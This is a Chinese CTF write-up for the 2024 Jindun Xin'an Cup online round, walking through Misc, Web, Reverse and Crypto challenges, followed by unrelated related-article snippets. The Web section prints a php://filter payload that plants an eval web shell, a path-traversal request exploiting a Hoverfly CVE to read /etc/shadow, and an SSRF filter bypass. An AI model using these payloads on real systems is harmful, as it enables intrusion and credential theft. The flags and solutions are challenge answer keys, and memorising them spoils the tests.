2024-金盾信安杯线上赛 WP
Misc
大赛宗旨
记事本打开,一眼零宽隐写
B 神工具一把梭,得到一串 base 编码
base64 解码得到 flag
flag 值:flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}
esab
根据题目 esab 可以发现这正是 base 的逆向,所以可以先逆向一下给出的字符串
然后解 base,和今年御网杯那道题类似,使用特定的网站解 base62
得到一串 base64 编码的文本,使用工具 basecrack 尝试一把梭
解了一个 base64 和一个 base91,得到的文本又像是 base62,再次 base62 解码,得到 flag
flag 值:flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}
ezpng
将 password.txt 的内容放入 cyberchef 解密,得到一个密码 cimbar
flag.png 放入 010 查看,发现文件头尾都不对,尝试发现是异或得到的字符串 cimbar
使用 cyberchef 把图片异或回去,得到一张正常的 png 文件
网上找到一个项目,提取出 cimbar 图片里隐藏的文本,项目地址如下
https://github.com/sz3/cimbar
下载下来,将图片放到同一目录,使用如下命令,即可得到 flag
python -m cimbar.cimbar 111.png -o myoutputfile.txt
flag 值:flag{c06ff653-d96e-4c59-9667-655a8a18862e}
so far so good
谷歌搜索,发现是国外某比赛的原题,赛名 OliCyber.IT 2024,wp 如下:
https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/master/2024-nazionale/misc03.md
利用 wp 上给出的脚本,有些地方不适配,稍微修改下脚本,运行得到 flag,脚本如下:
import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sysKEYSET = 0x74
NONCESET = 0x11
STORE = 0xC1
RESET = 0xB8
ACK = 0x14
ERROR = 0xFFstreams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")for p in cap:try:i = int(p.tcp.stream)streams[i] += bytes.fromhex(p.data.data)except:pass
cap.close()stream = streams[0]kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')def read():global streams = stream[0]stream = stream[1:]return sclass Message():def __init__(self) -> None:self.code = Noneself.param = Noneself.len = Noneself.data = Nonedef read(self):self.code = read()self.param = read()self.len = read()self.data = []for i in range(self.len):self.data.append(read())def handle(self):global KEY, IV, cipher, keyset, nonceset, ciphersetif self.code == KEYSET:for i in range(32):KEY[i] = self.data[i]keyset = Truecipherset = Falseelif self.code == NONCESET:for i in range(8):IV[i] = self.data[i]nonceset = Truecipherset = Falseelif self.code == STORE:if not keyset or not nonceset:returnif not cipherset:cipherset = Truecipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))dec = cipher.decrypt(bytes(self.data))for i in range(self.len):FLAG[10 * self.param + i] = dec[i]if -1 not in FLAG:print(bytes(FLAG))return Trueelif self.code == RESET:KEY = [0] * 32IV = [0] * 8keyset = Falsenonceset = Falsecipherset = False_stream = stream[:]
for ki in kidxs:for ni in nidxs:if ki > ni:continueprint('key index:', ki, '\tnonce index:', ni)KEY = [-1] * 32IV = [-1] * 8FLAG = [-1] * 40keyset = Falsenonceset = Falsecipherset = Falsecipher = Nonetry:stream = stream[ki:]m = Message()m.read()m.handle()stream = stream[ni - ki - 35:]m = Message()m.read()m.handle()while len(stream) > 0:ni = stream.index(NONCESET) if NONCESET in stream else 99999si = stream.index(STORE) if STORE in stream else 99999next_idx = min([ni, si])stream = stream[next_idx:]m = Message()m.read()if m.handle():breakexcept:print('Exception')passstream = _stream[:]
运行结果如图所示,得到 flag
flag 值:flag{0h_usb_0v3r_1p_i5_s0_c00l_567c08e6}
Web
fillllll_put
源码如下:
<?phphighlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){$content=$_GET['content'];file_put_contents($filename,'<?php exit();'.$content);}
经典的伪协议绕过死亡 exit(),网上有很多参考文章
payload 如下:
?filename=php://filter/convert.base64-decode/resource=shell.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
访问 shell.php,成功解析
使用蚁剑连接一句话木马,连接成功
根目录没有,在根目录下的/tmp 目录翻到 flag.txt
flag 值:flag{89166828-7120-42be-966c-820fc46d74a6}
hoverfly
打开是一个 Hoverfly 的界面
网上找到一个 CVE,Hoverfly 任意文件读取漏洞(CVE-2024-45388),复现文章如下:
https://blog.csdn.net/qq_38154820/article/details/142891049
burp 抓包,修改数据包如下:
PUT /api/v2/simulation HTTP/1.1
Host: 114.55.67.167:50463
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
成功读取 /etc/passwd,可以读取任意文件
翻遍了没找到哪里有 flag,var/log/syslog 记录了系统级别的日志信息,包括系统启动、服务启动和停止、内核消息、硬件错误、软件错误等,在日志里得到提示 see see /tmp/fa1g
访问 /tmp/fa1g 文件得到 flag
flag 值:flag{57a4de14-9151-4554-b36a-b12dfc79c2d3}
ssrf
进入页面,提示查询网站,根据题目名字 ssrf 知道肯定是读内网文件
先扫一下有什么文件,发现 flag.php
直接读取 127.0.0.1 下的 flag.php,提示无效的 url
可以使用域名重定向绕过,找到如下域名,测试可以绕过
http://wifi.aliyun.com/flag.php
成功读取到 flag
flag 值:flag{980a8f2f-00c6-4e60-8468-9b44a948df44}
Reverse
babyre
首先通过 sub_401050 提示输入flag,并通过 sub_4010C0 读取最多32字节的输入到 v23。
输入被分为两部分:前16字节存储到 v26。后16字节存储到 v24。
前16字节解码:
使用硬编码目标值 v6 的前四组数据作为目标(共4个整数)。
对解密后的数据还原高低位交换(调用 sub_401130 的逆向逻辑)。
TEA加密逆向:根据代码分析 sub_4012B0 是TEA加密的部分,需要实现解密逻辑。
脚本如下:
#include <stdio.h>
#include <stdint.h>// TEA解密函数
void decrypt(uint32_t* v, uint32_t* key) {
uint32_t delta = 0x61C88647; // Delta常量
uint32_t sum = 0 - 32 * delta; // 初始化sum
uint32_t v0 = v[0], v1 = v[1];for (int i = 0; i < 32; i++) {v1 -= ((v0 >> 5) + key[3]) ^ (v0 + sum) ^ ((v0 << 4) + key[2]);v0 -= ((v1 >> 5) + key[1]) ^ (v1 + sum) ^ ((v1 << 4) + key[0]);sum += delta;}v[0] = v0;v[1] = v1;}int main() {// 密钥uint32_t key[4] = {0x00001266, 0x00003404, 0x0000562A, 0x000078C2};// 密文uint32_t enc[4] = {0x369A1583, 0x009A9E6D, 0xBE761C60, 0x3ED644A0};// 对密文分块解密decrypt(enc, key); // 解密前两部分decrypt(enc + 2, key); // 解密后两部分// 输出解密后的结果(大端序)printf("Flag: ");for (int i = 0; i < 4; i++) { // 遍历解密后的4个32位整数for (int j = 3; j >= 0; j--) { // 大端序输出每个字节(高位字节在前)printf("%c", (enc[i] >> (8 * j)) & 0xFF);}}printf("\n");return 0;}
后16字节解码:
从目标值 v6 的后四组数据中提取目标(共4个整数)。
高低位交换逆向:调用 sub_401130 的逆向逻辑。
凯撒密码逆向:对替换的字符使用偏移量为 -3 的逆操作。
解密脚本如下:
def reverse_byte_order(data):"""高低位交换"""return [((x >> 24) & 0xFF) | ((x >> 8) & 0xFF00) |((x & 0xFF00) << 8) | ((x & 0xFF) << 24)for x in data]def reverse_caesar_cipher(data, shift=3):"""逆凯撒密码,shift是偏移量"""result = []for ch in data:if 'A' <= ch <= 'Z':result.append(chr((ord(ch) - shift - 65) % 26 + 65))elif 'a' <= ch <= 'z':result.append(chr((ord(ch) - shift - 97) % 26 + 97))else:result.append(ch)return ''.join(result)# 硬编码的目标数据
v6 = [916067715, 10133101, -1099555744, 1054229664,1685154385, 1816750188, 1416384356, 1814110589
]v19 = v6[4:]
v19 = reverse_byte_order(v19)
cipher2 = ''.join([chr((x >> (8 * i)) & 0xFF) for x in v19 for i in range(4)])
plain2 = reverse_caesar_cipher(cipher2)print(plain2)
两端 flag 都已经拿到了,直接拼接两段,得到完整 flag
flag 值:flag{ZhuangBiWoRangNiFeiQiLai!!}
Crypto
Ezrsa
from Crypto.Util.number import *
from Crypto.Util.Padding import *def generate_prime(bits=512):return getPrime(bits)
def generate_rsa_key(bits=512, e=9):while True:p, q = generate_prime(bits), generate_prime(bits)n = p * qif GCD((p-1)*(q-1), e) == 1:d = inverse(e, (p-1)*(q-1))return n, e, d
def encrypt_message(message, e, n):return pow(message, e, n)
def decrypt_message(ciphertext, d, n):return pow(ciphertext, d, n)
def main(flag_text=b"flag{*******************}", num_keys=9, bits=512, e=9):FLAG = bytes_to_long(pad(flag_text, 64))n_list = []c_list = []for i in range(num_keys):n, e, d = generate_rsa_key(bits, e)n_list.append(n)c = encrypt_message(FLAG, e, n)c_list.append(c)assert decrypt_message(c, d, n) == FLAGprint("n_list:", n_list)print("c_list:", c_list)if __name__ == "__main__":main()
看到e=9,以及九组密文c和模数n,挨个爆破
Ci=pow(m,e,Ni) i=1,2,3,....,9
对list_n和list_c遍历爆破
脚本如下:
import gmpy2
import math
from Crypto.Util.number import long_to_bytesdef merge(a1, n1, a2, n2):d = math.gcd(n1, n2)c = a2 - a1if c % d != 0:return 0c = (c % n2 + n2) % n2c = c // dn1 = n1 // dn2 = n2 // dc *= gmpy2.invert(n1, n2)c %= n2c *= n1 * dc += a1global n3global a3n3 = n1 * n2 * da3 = (c % n3 + n3) % n3return 1def exCRT(a, n):a1 = a[0]n1 = n[0]le = len(a)for i in range(1, le):a2 = a[i]n2 = n[i]if not merge(a1, n1, a2, n2):return -1a1 = a3n1 = n3global modmod = n1return (a1 % n1 + n1) % n1def exCRT_getequation(a, n):a1 = a[0]n1 = n[0]le = len(a)for i in range(1, le):a2 = a[i]n2 = n[i]if not merge(a1, n1, a2, n2):return -1a1 = a3n1 = n3return (a1, n1)# 示例数据
n = [...] # 请替换为实际的n值
c = [...] # 请替换为实际的c值m9 = exCRT(c, n)
m = gmpy2.iroot(m9, 9)[0]
print(long_to_bytes(m))
flag 值:flag{25f028f3-5362-4d1d-ab16-ae65503e447f}
Madoka Runes
搜索题目,发现图形加密方式,魔女文字,对比得到压缩包密码ctf951zhen,从而得到flag
flag 值:flag{f393e6c7-b150-6ecd-0458-c8f38363cb3e}
相关文章:
2024-金盾信安杯线上赛 WP
Misc 大赛宗旨 记事本打开,一眼零宽隐写 B 神工具一把梭,得到一串 base 编码 base64 解码得到 flag flag 值:flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361} esab 根据题目 esab 可以发现这正是 base 的逆向,所以可以先逆向一下…...
MySQL 基础架构
MySQL的基础架构主要由三大核心部分构成,以下是详细的解析: 一、连接层 连接层是客户端与MySQL数据库之间的桥梁,主要负责通信和身份验证,确保数据交换的安全与稳定。具体来说,它负责以下任务: 建立连接…...
汽车升级到底应不应该设置“可取消“功能
最近,汽车OTA(Over-the-Air)升级频频成为车主讨论的热点。有些车主反映,一些升级增加了实用功能,而另一些却让体验变得复杂甚至带来不便。于是,大家不禁发问:汽车升级功能究竟应不应该允许“可取…...
【MySQL】mysql中的事务
目录 1、背景2、事务的特性3、事务之间的几种错误【1】脏读【2】不可重复读【3】幻读 4、事务中的隔离级别5、总结 1、背景 事务是存储引擎层面实现的,有的引擎支持事务,有的引擎不支持事务,我们常用的引擎InnoDB就支持事务,本文…...
大语言模型(LLM)与智能机器人的应用分析
系列文章目录 前言 近年来,大型语言模型(LLM)的集成彻底改变了机器人领域,使机器人能够以人类熟练程度进行交流、理解和推理。本文探讨了 LLM 对机器人的多方面影响,并针对在不同领域利用这些模型的关键挑战和机遇进行了研究。通过将 LLM 应用程序分类并分析核心机器人元素…...
Inno Setup 学习笔记(一)
前言 最近想把自己写的Windows端的软件打包成安装程序exe,又觉得自带的界面太丑了,想自己完全做一个新的页面 网上找到的只有基础教程,记录一下进阶学习过程 生命周期 按照Vue的说法叫生命周期,Inno Setup中叫 Pascal 脚本: 事…...
从阿里云EDM到美团云:典型微服务治理平台的实战经验分享
目录 一. 阿里云 EDM(Enterprise Distributed Application Service) 二. 腾讯云 TSF(Tencent Service Framework) 三. 华为云 FusionStage 四. 京东云 JDC(JD Cloud Microservice Platform) 五. 百度智…...
【接口自动化测试】一文从3000字从0到1详解接口测试用例设计
接口自动化测试是软件测试中的一种重要手段,它能有效提高测试效率和测试覆盖率。在进行接口自动化测试之前,首先需要进行接口测试用例的设计。本文将从0到1详细且规范的介绍接口测试用例设计的过程,帮助读者快速掌握这一技能。 一、了解接口…...
反向代理-缓存篇
文章目录 强缓存一、Expires(http1.0 规范)二、cache-control(http1.1 出现的 header 信息)Cache-Control 的常用选项Cache-Control 常用选项的选择三、弊端协商缓存一、ETag二、If-None-Match三、Last-modified四、If-Modified-Since浏览器的三种刷新方式静态资源部署策略…...
【伪代码】数据结构-期末复习 线性表
目录 例1 矩阵相乘 线性表 2.1 线性表的类型定义 例2-1 求并集 LALA∪LB 例2-2 有序表归并 2. 2 线性表的顺序表示和实现 1.构造空表 2.插入 3.删除 4.定位 顺序表的优点: 顺序表的缺点: 例…...
JavaWeb学习、过滤器、ajax异步请求、json、jquery-api文档
一、过滤器: 按照过滤规则筛选出想要的资源。 为什么使用过滤器? 1. 很多地方都需要判断是否登录。如果我们在每个资源出进行判断,非常麻烦。我们可以使用过滤器在访问这些资源前进行判断。 (这样就不用在主界面,修改…...
深入探索 JVM:原理、机制与实战
一、JVM 概述 JVM(Java Virtual Machine)是 Java 程序运行的核心组件,它提供了一个独立于硬件和操作系统的执行环境,使得 Java 程序能够在不同平台上具有跨平台的特性。 JVM 主要由以下几部分组成: 类装载器…...
JavaWeb学习(3)(Servlet详细、Servlet的三种实现方式(面试)、Servlet的生命周期、传统web.xml配置Servlet(了解))
目录 一、Servlet详细。 (1)基本介绍。 (2)基本作用。 1、接收客户端请求数据。 2、处理请求。 3、完成响应结果。 二、Servlet的三种实现方式。 (1)实现javax.servlet.Servlet接口。 1、基本介绍。 2、代码…...
支付宝租赁小程序助力便捷生活新方式
内容概要 支付宝租赁小程序为现代人带来了许多惊喜,它不仅仅是一个简单的租赁平台,更是生活中不可或缺的好帮手。想象一下,无论你缺少什么,从工具到家居用品,只需轻轻一点,便能轻松找到需要的物品。这个小…...
Linux-ubuntu环境配置
一,安装VWware,里面导入镜像文件 这些都是文件夹里面有的,然后对着正点原子视频安装就行,虚拟机的破解码,去百度搜一个能用就行,中间遇见俩问题。①乌班图里面不能上网,②插入U盘后,…...
深入解析下oracle的number底层存储格式
oracle数据库中,number数据类型用来存储数值数据,它既可以存储负数数值,也可以存储正数数值。相对于其他类型数据,number格式的数据底层存储格式要复杂得多。今天我们就详细探究下oracle的number底层存储格式。 一、环境搭建 1.…...
nginx代理rabbitmq和配置 Nginx 代理达梦数据库
在 Nginx 中使用 stream 模块进行 TCP 代理时,可以将 TCP 或 UDP 流量转发到指定的后端服务器。你给出的配置是一个用于代理 RabbitMQ 的示例,具体是在 TCP 层上代理 5672 端口的流量。 只能在nginx.conf配置上代理 stream {# 定义 upstream,…...
汉语唤醒词的模糊判断(Python)
汉语唤醒词的模糊判断【Python】 说明安装库代码Demo其他 说明 这是一个简单的汉语模糊唤醒词的判断器,汉语发音中前后舌以及声母韵母的区别,如果进行精准判断,很容易误判。需要一个模糊判断的逻辑! 安装库 pip install pypinyin代码Demo …...
Redis篇-2--原理篇1--I/O多路复用机制(5种I/O模型,I/O多路复用)
I/O多路复用机制: Redis 是通过I/O多路复用机制来管理大量客户端连接。这使得redis可以实现通过单线程来处理多个客户端连接的请求,避免了为每个客户端创建独立的线程,从而减少了上下文切换的开销,提高了系统的并发性和性能。 理解…...
Knowledge Graph Studio:让知识图谱构建更简单、更智能
一、前言 上周和研究院的同事讨论 2025 年大模型产品规划时,让我产生了一些疑惑和不解,因为从大家交流的规划方向来看,更多的还是集中在Prompt提示词工程(包括提示词的管理、测试、评估、调优)这一块规划的确实挺细&a…...
vue 中实现音视频播放进度条(可拖拽,满足常见开发需求)
由于开发需要,作者封装了一个音视频播放进度条的组件,支持 vue2 及 vue3 ,有需要的朋友后台私信作者获取组件源码哦(工作日每天都在线),下面是对该款组件的介绍。 组件默认样式👇(组…...
[免费]SpringBoot+Vue企业OA自动化办公管理系统【论文+源码+SQL脚本】
大家好,我是java1234_小锋老师,看到一个不错的SpringBootVue企业OA自动化办公管理系统,分享下哈。 项目视频演示 【免费】SpringBootVue企业OA自动化办公管理系统 Java毕业设计_哔哩哔哩_bilibili 项目介绍 随着信息技术在管理上越来越深入…...
笔记:在WPF中BitmapSource都有哪些派生类,他们主要功能,使用方法,使用场景
一、目的:在WPF中BitmapSource都有哪些派生类,他们主要功能,使用方法,使用场景 BitmapSource 是 WPF 中图像处理的基类,提供了许多派生类来处理不同类型的图像源。以下是一些常见的 BitmapSource 派生类、它们的主要功…...
JAVA基础学习笔记_多线程
文章目录 多线程并发和并行多线程的实现方式Thread类实现Runnable接口方式实现callable接口和Future接口实现 常用的成员方法线程的生命周期线程的安全问题同步代码块同步方法lock锁死锁 生产者和消费者(等待唤醒机制)阻塞队列实现等待唤醒机制线程的6种状态线程池自定义线程池…...
什么是自动化办公
自动化办公是指使用技术工具或软件,通过预设流程或脚本,自动执行日常办公任务,从而提升效率、减少错误、节约时间的办公模式。它适用于需要重复性、规则明确的工作流程,让员工将精力集中在更具创造性和战略性的工作上。 自动化办公…...
数据库系统
数据库模式 3个阶段以及各自的产物: 1、需求分析(数据流图、数据字典、需求说明书); 2、概念结构设计(ER模型); 3、逻辑结构设计(关系模式)); 关…...
文件系统--底层架构(图文详解)
一、文件系统的底层存储与寻址 当我们谈到文件系统的底层结构时,最关键的问题是:文件的数据与元数据(属性)如何存储在磁盘上,以及系统是如何定位这些数据的?在谈及文件系统之前,我们要先对储存…...
【OCR】——端到端文字识别GOT-OCR2.0不香嘛?
代码:https://github.com/Ucas-HaoranWei/GOT-OCR2.0?tabreadme-ov-file 在线demo:https://huggingface.co/spaces/stepfun-ai/GOT_official_online_demo 0.前言 最早做ocr的时候,就在想如何能做一个端到端的模型,就不用先检测再…...
SkyWalking 和 ELK 链路追踪实战
一、背景 最近在给项目搭建日志平台的时候,采用的方案是 SkyWalking ELK 日志平台,但发现 ELK 日志平台中的日志没有 Trace ID,导致无法追踪代码报错的整体链路。 空哥提示:Trace ID 是分布式追踪中用来唯一标识一个服务请求或事…...
ETCD的封装和测试
etcd是存储键值数据的服务器 客户端通过长连接watch实时更新数据 场景: 当主机A给服务器存储 name: 小王 主机B从服务器中查name ,得到name-小王 当主机A更改name 小李 服务器实时通知主机B name 已经被更改成小李了。 应用:服务注册与发…...
怎样跟网站做优化呢/腾讯nba新闻
数控车床操作方法与应用 数控车床、车削中心,是一种高精度、高效率的自动化机床。配备多工位刀塔或动力刀塔,机床就具有广泛的加工工艺性能,可加工直线圆柱、斜线圆柱、圆弧和各种螺纹、槽、蜗杆等复杂工件,具有直线插补、圆弧插…...
网站建设域名有哪些类型/域名注册服务网站哪个好
1,3,4,5,7,10这样子-------------------------truncate命令是会把自增的字段还原为从1开始的,或者你试试把table_a清空,然后取消自增,保存,再加回自增,这也是自增段还原为…...
君和网站建设/优化加速
转载于:https://www.cnblogs.com/fycn01/p/5852304.html...
建设商务网站的步骤/最近时事新闻热点事件
背景: 我的jira数据库中已有数据,想修改数据集,不能通过简单的修改字符集完成,需要先将原数据导出,经过适当调整后重新导入才可完成。 下面的步骤可以进行问题的解决(假设原字符集是latin1,想修…...
怎么做网站互换链接/广州百度关键词推广
前几天看了springside4的mini-web代码发现确实有不少新的东东,咱这次单说说Spring Data JPA吧。 引用springside4的 wiki关于对Spring Data JPA的简介 Spring Data JPA在JPA上又做了一层封装,只要编写接口就够了,不用写一行实现代码ÿ…...
中组部 两学一做网站/舆情信息在哪里找
珠海源创会图文回顾及PPT分享>>> ArduPilot/APM是一款开源自动导航系统,支持多旋翼飞行器,传统直升机,固定翼飞机与传统直升机。源码由一个大型爱好者社区开发。 支持的导航板 目前,ArduPilot/APM支持如下自动导航板 …...